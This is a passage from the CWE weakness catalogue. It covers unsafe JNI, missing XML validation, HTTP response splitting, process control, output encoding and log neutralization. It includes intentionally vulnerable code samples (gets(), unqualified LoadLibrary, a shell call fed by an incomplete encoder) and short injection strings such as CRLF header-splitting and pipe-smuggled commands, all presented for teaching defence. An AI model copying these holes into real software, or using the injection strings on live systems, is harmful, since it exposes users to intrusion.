Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 710 | Improper Adherence to Coding Standards | 1405 |

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

| Nature | Type | ID | Name | Page |
|---------|---|----|---------------------------|------|
| ChildOf |  | 20 | Improper Input Validation | 19 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-------|---|------------|
| Other | Other | |
| | <i>It is critically important that validation logic be maintained and kept in sync with the rest of the application. Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities all stem from incomplete or absent input validation.</i> | |

Detection Methods

Automated Static Analysis

To find the issue in the implementation, manual checks or automated static analysis could be applied to the XML configuration files.

Effectiveness = Moderate

Manual Static Analysis

To find the issue in the implementation, manual checks or automated static analysis could be applied to the XML configuration files.

Effectiveness = Moderate

Demonstrative Examples

Example 1:

This example shows an inconsistency between an action form and a validation form. with a third field.

This first block of code shows an action form that has two fields, startDate and endDate.

Example Language: Java

(bad)

```
public class DateRangeForm extends ValidatorForm {
    String startDate, endDate;
    public void setStartDate(String startDate) {
        this.startDate = startDate;
    }
    public void setEndDate(String endDate) {
        this.endDate = endDate;
    }
}
```

This second block of related code shows a validation form with a third field: scale. The presence of the third field suggests that DateRangeForm was modified without taking validation into account.

Example Language: XML

(bad)

```
<form name="DateRangeForm">
  <field property="startDate" depends="date">
    <arg0 key="start.date"/>
  </field>
  <field property="endDate" depends="date">
    <arg0 key="end.date"/>
  </field>
  <field property="scale" depends="integer">
    <arg0 key="range.scale"/>
  </field>
</form>
```

CWE-111: Direct Use of Unsafe JNI

| | |
|------------------------------|----------------------|
| Weakness ID : 111 | Status: Draft |
| Structure : Simple | |
| Abstraction : Variant | |

Description

When a Java application uses the Java Native Interface (JNI) to call code written in another programming language, it can expose the application to weaknesses in that code, even if those weaknesses cannot occur in Java.

Extended Description

Many safety features that programmers may take for granted do not apply for native code, so you must carefully review all such code for potential problems. The languages used to implement native code may be more susceptible to buffer overflows and other attacks. Native code is unprotected by the security features enforced by the runtime environment, such as strong typing and array bounds checking.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--------------------------------|------|
| ChildOf |  | 695 | Use of Low-Level Functionality | 1387 |

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

| Nature | Type | ID | Name | Page |
|---------|---|----|---------------------------|------|
| ChildOf |  | 20 | Improper Input Validation | 19 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java (Prevalence = Undetermined)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|-----------------------------|------------|
| Access Control | Bypass Protection Mechanism | |

Potential Mitigations

Phase: Implementation

Implement error handling around the JNI call.

Phase: Implementation

Strategy = Refactoring

Do not use JNI calls if you don't trust the native library.

Phase: Implementation

Strategy = Refactoring

Be reluctant to use JNI calls. A Java API equivalent may exist.

Demonstrative Examples

Example 1:

The following code defines a class named Echo. The class declares one native method (defined below), which uses C to echo commands entered on the console back to the user. The following C code defines the native method implemented in the Echo class:

Example Language: Java

(bad)

```
class Echo {
    public native void runEcho();
    static {
        System.loadLibrary("echo");
    }
    public static void main(String[] args) {
        new Echo().runEcho();
    }
}
```

Example Language: C

(bad)

```
#include <jni.h>
#include "Echo.h"//the java class above compiled with javah
#include <stdio.h>
JNIEXPORT void JNICALL
Java_Echo_runEcho(JNIEnv *env, jobject obj)
{
    char buf[64];
    gets(buf);
    printf(buf);
}
```

Because the example is implemented in Java, it may appear that it is immune to memory issues like buffer overflow vulnerabilities. Although Java does do a good job of making memory operations safe, this protection does not extend to vulnerabilities occurring in source code written in other languages that are accessed using the Java Native Interface. Despite the memory protections offered in Java, the C code in this example is vulnerable to a buffer overflow because it makes use of `gets()`, which does not check the length of its input.

The Sun Java(TM) Tutorial provides the following description of JNI [See Reference]: The JNI framework lets your native method utilize Java objects in the same way that Java code uses these objects. A native method can create Java objects, including arrays and strings, and then inspect and use these objects to perform its tasks. A native method can also inspect and use objects

created by Java application code. A native method can even update Java objects that it created or that were passed to it, and these updated objects are available to the Java application. Thus, both the native language side and the Java side of an application can create, update, and access Java objects and then share these objects between them.

The vulnerability in the example above could easily be detected through a source code audit of the native method implementation. This may not be practical or possible depending on the availability of the C source code and the way the project is built, but in many cases it may suffice. However, the ability to share objects between Java and native methods expands the potential risk to much more insidious cases where improper data handling in Java may lead to unexpected vulnerabilities in native code or unsafe operations in native code corrupt data structures in Java. Vulnerabilities in native code accessed through a Java application are typically exploited in the same manner as they are in applications written in the native language. The only challenge to such an attack is for the attacker to identify that the Java application uses native code to perform certain operations. This can be accomplished in a variety of ways, including identifying specific behaviors that are often implemented with native code or by exploiting a system information exposure in the Java application that reveals its use of JNI [See Reference].

CWE-112: Missing XML Validation

Weakness ID : 112
Structure : Simple
Abstraction : Base

Status: Draft

Description

The software accepts XML from an untrusted source but does not validate the XML against the proper schema.

Extended Description

Most successful attacks begin with a violation of the programmer's assumptions. By accepting an XML document without validating it against a DTD or XML schema, the programmer leaves a door open for attackers to provide unexpected, unreasonable, or malicious input.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

|---------|---|----|---------------------------|------|
| ChildOf |  | 20 | Improper Input Validation | 19 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Potential Mitigations

Phase: Architecture and Design

Strategy = Input Validation

Always validate XML input against a known XML Schema or DTD. It is not possible for an XML parser to validate all aspects of a document's content because a parser cannot understand the complete semantics of the data. However, a parser can do a complete and thorough job of checking the document's structure and therefore guarantee to the code that processes the document that the content is well-formed.

Demonstrative Examples

Example 1:

The following code loads and parses an XML file.

CWE Version 4.6**CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')**

Example Language: Java

(bad)

```
// Read DOM
try {
    ...
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setValidating( false );
    ....
    c_dom = factory.newDocumentBuilder().parse( xmlFile );
} catch(Exception ex) {
    ...
}
```

The XML file is loaded without validating it against a known XML Schema or DTD.

Example 2:

The following code creates a DocumentBuilder object to be used in building an XML document.

Example Language: Java

(bad)

```
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
DocumentBuilder builder = builderFactory.newDocumentBuilder();
```

The DocumentBuilder object does not validate an XML document against a schema, making it possible to create an invalid XML document.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')**Weakness ID :** 113**Status:** Incomplete**Structure :** Simple**Abstraction :** Variant

Description

The software receives data from an upstream component, but does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers.

Extended Description

Including unvalidated data in an HTTP header allows an attacker to specify the entirety of the HTTP response rendered by the browser. When an HTTP request contains unexpected CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n) characters the server may respond with an output stream that is interpreted as two different HTTP responses (instead of one). An attacker can control the second response and mount attacks such as cross-site scripting and cache poisoning attacks.

HTTP response splitting weaknesses may be present when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.
2. The data is included in an HTTP response header sent to a web user without being validated for malicious characters.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|------------|------|----|--|------|
| ChildOf | B | 93 | Improper Neutralization of CRLF Sequences ('CRLF Injection') | 205 |
| CanPrecede | B | 79 | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') | 154 |

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

| Nature | Type | ID | Name | Page |
|---------|------|----|---------------------------|------|
| ChildOf | C | 20 | Improper Input Validation | 19 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Technology : Web Based (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|--|------------|
| Integrity | Modify Application Data | |
| Access Control | Gain Privileges or Assume Identity | |
| | CR and LF characters in an HTTP header may give attackers control of the remaining headers and body of the response the application intends to send, as well as allowing them to create additional responses entirely under their control. | |

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Construct HTTP headers very carefully, avoiding the use of non-validated input data.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Demonstrative Examples

Example 1:

The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.

Example Language: Java

(bad)

```
String author = request.getParameter(AUTHOR_PARAM);
...
Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);
```

Assuming a string consisting of standard alpha-numeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:

Example Language:

(result)

```
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
```

...

However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as

Example Language:

(attack)

Wiley Hacker\r\nHTTP/1.1 200 OK\r\n

then the HTTP response would be split into two responses of the following form:

Example Language:

(result)

```
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker HTTP/1.1 200 OK
...
```

Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including:

- cross-user defacement
- web and browser cache poisoning
- cross-site scripting
- page hijacking

Example 2:

An attacker can make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the sever.

Cross-User Defacement

This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server.

- In the best case, an attacker can leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application.
- In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Example 3:

The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user.

Cache Poisoning

If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although the user of the local browser instance will be affected.

Example 4:

Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users.

Cross-Site Scripting

Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser.

The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Example 5:

In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead.

Page Hijacking

By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker can cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Observed Examples

CWE-114: Process Control

| | |
|----------------------------|----------------------------|
| Weakness ID : 114 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Class | |

Description

Executing commands or loading libraries from an untrusted source or in an untrusted environment can cause an application to execute malicious commands (and payloads) on behalf of an attacker.

Extended Description

Process control vulnerabilities take two forms: 1. An attacker can change the command that the program executes: the attacker explicitly controls what the command is. 2. An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means. Process control vulnerabilities of the first type occur when either data enters the application from an untrusted source and the data is used as part of a string representing a command that is executed by the application. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|--|---------------------------------------|------------|
| Confidentiality Integrity Availability | Execute Unauthorized Code or Commands | |

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Libraries that are loaded should be well understood and come from a trusted source. The application can execute code contained in the native libraries, which often contain calls that are susceptible to other security problems, such as buffer overflows or command injection. All native libraries should be validated to determine if the application requires the use of the library. It is very difficult to determine what these native libraries actually do, and the potential for malicious code is high. In addition, the potential for an inadvertent mistake in these native libraries is also high, as many are written in C or C++ and may be susceptible to buffer overflow or race condition problems. To help prevent buffer overflow attacks, validate all input to native calls for content and length. If the native library does not come from a trusted source, review the source code of the library. The library should be built from the reviewed source before using it.

Demonstrative Examples

Example 1:

The following code uses `System.loadLibrary()` to load code from a native library named `library.dll`, which is normally found in a standard system directory.

Example Language: Java

(bad)

```
...  
System.loadLibrary("library.dll");  
...
```

The problem here is that `System.loadLibrary()` accepts a library name, not a path, for the library to be loaded. From the Java 1.4.2 API documentation this function behaves as follows [1]: A file containing native code is loaded from the local file system from a place where library files are conventionally obtained. The details of this process are implementation-dependent. The mapping from a library name to a specific filename is done in a system-specific manner. If an attacker is able to place a malicious copy of `library.dll` higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's `library.dll` will now be run with elevated privileges, possibly giving them complete control of the system.

Example 2:

The following code from a privileged application uses a registry entry to determine the directory in which it is installed and loads a library file based on a relative path from the specified directory.

Example Language: C

(bad)

```
...
RegQueryValueEx(hkey, "APPHOME",
0, 0, (BYTE*)home, &size);
char* lib=(char*)malloc(strlen(home)+strlen(INITLIB));
if (lib) {
    strcpy(lib,home);
    strcat(lib,INITCMD);
    LoadLibrary(lib);
}
...
```

The code in this example allows an attacker to load an arbitrary library, from which code will be executed with the elevated privilege of the application, by modifying a registry key to specify a different path containing a malicious version of INITLIB. Because the program does not validate the value read from the environment, if an attacker can control the value of APPHOME, they can fool the application into running malicious code.

Example 3:

The following code is from a web-based administration utility that allows users access to an interface through which they can update their profile on the system. The utility makes use of a library named liberty.dll, which is normally found in a standard system directory.

Example Language: C

(bad)

```
LoadLibrary("liberty.dll");
```

The problem is that the program does not specify an absolute path for liberty.dll. If an attacker is able to place a malicious library named liberty.dll higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's liberty.dll will now be run with elevated privileges, possibly giving the attacker complete control of the system. The type of attack seen in this example is made possible because of the search order used by LoadLibrary() when an absolute path is not specified. If the current directory is searched before system directories, as was the case up until the most recent versions of Windows, then this type of attack becomes trivial if the attacker can execute the program locally. The search order is operating system version dependent, and is controlled on newer operating systems by the value of the registry key: HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|---|-----|---|-----|------|
| MemberOf |  | 991 | SFP Secondary Cluster: Tainted Input to Environment | 888 | 2132 |

Notes

Maintenance

CWE-114 is a Class, but it is listed a child of CWE-73 in view 1000. This suggests some abstraction problems that should be resolved in future versions.

CWE-116: Improper Encoding or Escaping of Output

Weakness ID : 116

Status: Draft

Structure : Simple

Abstraction : Class

Description

The software prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.

Extended Description

Improper encoding or escaping can allow attackers to change the commands that are sent to another component, inserting malicious commands instead.

Most software follows a certain protocol that uses structured messages for communication between components, such as queries or commands. These structured messages can contain raw data interspersed with metadata or control information. For example, "GET /index.html HTTP/1.1" is a structured message containing a command ("GET") with a single argument ("/index.html") and metadata about which protocol version is being used ("HTTP/1.1").

If an application uses attacker-supplied inputs to construct a structured message without properly encoding or escaping, then the attacker could insert special characters that will cause the data to be interpreted as control information or metadata. Consequently, the component that receives the output will perform the wrong operations, or otherwise interpret the data incorrectly.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Effectiveness = Moderate

This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing),

robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.

Phase: Architecture and Design

Strategy = Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.

Phase: Architecture and Design

Phase: Implementation

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

Phase: Architecture and Design

In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.

Phase: Architecture and Design

Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).

Phase: Requirements

Fully specify which encodings are required by components that will be communicating with each other.

Phase: Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Demonstrative Examples

Example 1:

This code displays an email address that was submitted as part of a form.

Example Language: JSP

(bad)

```
<% String email = request.getParameter("email"); %>
...
Email Address: <%= email %>
```

The value read from the form parameter is reflected back to the client browser without having been encoded prior to output, allowing various XSS attacks (CWE-79).

Example 2:

Consider a chat application in which a front-end web application communicates with a back-end server. The back-end is legacy code that does not perform authentication or authorization, so the front-end must implement it. The chat protocol supports two commands, SAY and BAN, although only administrators can use the BAN command. Each argument must be separated by a single space. The raw inputs are URL-encoded. The messaging protocol allows multiple commands to be specified on the same line if they are separated by a "|" character.

First let's look at the back end command processor code

Example Language: Perl

(bad)

```
$inputString = readLineFromFileHandle($serverFH);
# generate an array of strings separated by the "|" character.
@commands = split(/\|/, $inputString);
foreach $cmd (@commands) {
    # separate the operator from its arguments based on a single whitespace
    ($operator, $args) = split(/ /, $cmd, 2);
    $args = UriDecode($args);
    if ($operator eq "BAN") {
        ExecuteBan($args);
    }
    elsif ($operator eq "SAY") {
        ExecuteSay($args);
    }
}
```

The front end web application receives a command, encodes it for sending to the server, performs the authorization check, and sends the command to the server.

Example Language: Perl

(bad)

```
$inputString = GetUntrustedArgument("command");
($cmd, $argstr) = split(/\s+/, $inputString, 2);
# removes extra whitespace and also changes CRLF's to spaces
$argstr =~ s/\s+/ /gs;
$argstr = UriEncode($argstr);
if (($cmd eq "BAN") && (! IsAdministrator($username))) {
    die "Error: you are not the admin.\n";
}
# communicate with file server using a file handle
$fth = GetServerFileHandle("myserver");
print $fth "$cmd $argstr\n";
```

It is clear that, while the protocol and back-end allow multiple commands to be sent in a single request, the front end only intends to send a single command. However, the UriEncode function could leave the "|" character intact. If an attacker provides:

Example Language:

(attack)

```
SAY hello world|BAN user12
```

then the front end will see this is a "SAY" command, and the \$argstr will look like "hello world | BAN user12". Since the command is "SAY", the check for the "BAN" command will fail, and the front end will send the URL-encoded command to the back end:

Example Language:

(result)

```
SAY hello%20world|BAN%20user12
```

The back end, however, will treat these as two separate commands:

Example Language:

(result)

```
SAY hello world
BAN user12
```

Notice, however, that if the front end properly encodes the "|" with "%7C", then the back end will only process a single command.

Example 3:

This example takes user input, passes it through an encoding scheme and then creates a directory specified by the user.

Example Language: Perl

(bad)

```
sub GetUntrustedInput {
    return($ARGV[0]);
}
sub encode {
    my($str) = @_ ;
    $str =~ s/\&/\&amp;/gs;
    $str =~ s/"/\"/gs;
    $str =~ s/'/\&apos;/gs;
    $str =~ s/</\&lt;/gs;
    $str =~ s/>/\&gt;/gs;
    return($str);
}
sub doit {
    my $uname = encode(GetUntrustedInput("username"));
    print "<b>Welcome, $uname!</b><p>\n";
    system("cd /home/$uname; /bin/ls -l");
}
```

The programmer attempts to encode dangerous characters, however the denylist for encoding is incomplete (CWE-184) and an attacker can still pass a semicolon, resulting in a chain with command injection (CWE-77).

Additionally, the encoding routine is used inappropriately with command execution. An attacker doesn't even need to insert their own semicolon. The attacker can instead leverage the encoding routine to provide the semicolon to separate the commands. If an attacker supplies a string of the form:

Example Language:

(attack)

```
'pwd
```

then the program will encode the apostrophe and insert the semicolon, which functions as a command separator when passed to the system function. This allows the attacker to complete the command injection.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2008-4636 | OS command injection in backup software using shell metacharacters in a filename; correct behavior would require that this filename could not be changed. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4636 |
| CVE-2008-0769 | Web application does not set the charset when sending a page to a browser, allowing for XSS exploitation when a browser chooses an unexpected encoding. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0769 |
| CVE-2008-0005 | Program does not set the charset when sending a page to a browser, allowing for XSS exploitation when a browser chooses an unexpected encoding. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0005 |
| CVE-2008-5573 | SQL injection via password parameter; a strong password might contain "&" https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5573 |
| CVE-2008-3773 | Cross-site scripting in chat application via a message subject, which normally might contain "&" and other XSS-related characters. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3773 |
| CVE-2008-0757 | Cross-site scripting in chat application via a message, which normally might be allowed to contain arbitrary content. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0757 |

Notes

Relationship

This weakness is primary to all weaknesses related to injection (CWE-74) since the inherent nature of injection involves the violation of structured messages.

Relationship

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks. However, input validation is not always sufficient, especially when less stringent data

types must be supported, such as free-form text. Consider a SQL injection scenario in which a last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise neutralized. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

Terminology

The usage of the "encoding" and "escaping" terms varies widely. For example, in some programming languages, the terms are used interchangeably, while other languages provide APIs that use both terms for different tasks. This overlapping usage extends to the Web, such as the "escape" JavaScript function whose purpose is stated to be encoding. The concepts of encoding and escaping predate the Web by decades. Given such a context, it is difficult for CWE to adopt a consistent vocabulary that will not be misinterpreted by some constituency.

Theoretical

This is a data/directive boundary error in which data boundaries are not sufficiently enforced before it is sent to a different control sphere.

Research Gap

While many published vulnerabilities are related to insufficient output encoding, there is such an emphasis on input validation as a protection mechanism that the underlying causes are rarely described. Within CVE, the focus is primarily on well-understood issues like cross-site scripting and SQL injection. It is likely that this weakness frequently occurs in custom protocols that support multiple encodings, which are not necessarily detectable with automated techniques.

Taxonomy Mappings

CWE-117: Improper Output Neutralization for Logs

Weakness ID : 117

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software does not neutralize or incorrectly neutralizes output that is written to logs.

Extended Description

This can allow an attacker to forge log entries or inject malicious content into logs.

Log forging vulnerabilities occur when:

1. Data enters an application from an untrusted source.
2. The data is written to an application or system log file.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Primary :**Applicable Platforms****Language :** Language-Independent (*Prevalence = Undetermined*)**Background Details**

Applications typically use log files to store a history of events or transactions for later review, statistics gathering, or debugging. Depending on the nature of the application, the task of reviewing log files may be performed manually on an as-needed basis or automated with a tool that automatically culls logs for important events or trending information.

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Integrity | Modify Application Data | |
| Confidentiality | Hide Activities | |
| Availability | Execute Unauthorized Code or Commands | |
| Non-Repudiation | <i>Interpretation of the log files may be hindered or misdirected if an attacker can supply data to the application that is subsequently logged verbatim. In the most benign case, an attacker may be able to insert false entries into the log file by providing the application with input that includes appropriate characters. Forged or otherwise corrupted log files can be used to cover an attacker's tracks, possibly by skewing statistics, or even to implicate another party in the commission of a malicious act. If the log file is processed automatically, the attacker can render the file unusable by corrupting the format of the file or injecting unexpected characters. An attacker may inject code or other commands into the log file and take advantage of a vulnerability in the log processing utility.</i> | |

Potential Mitigations**Phase: Implementation***Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an

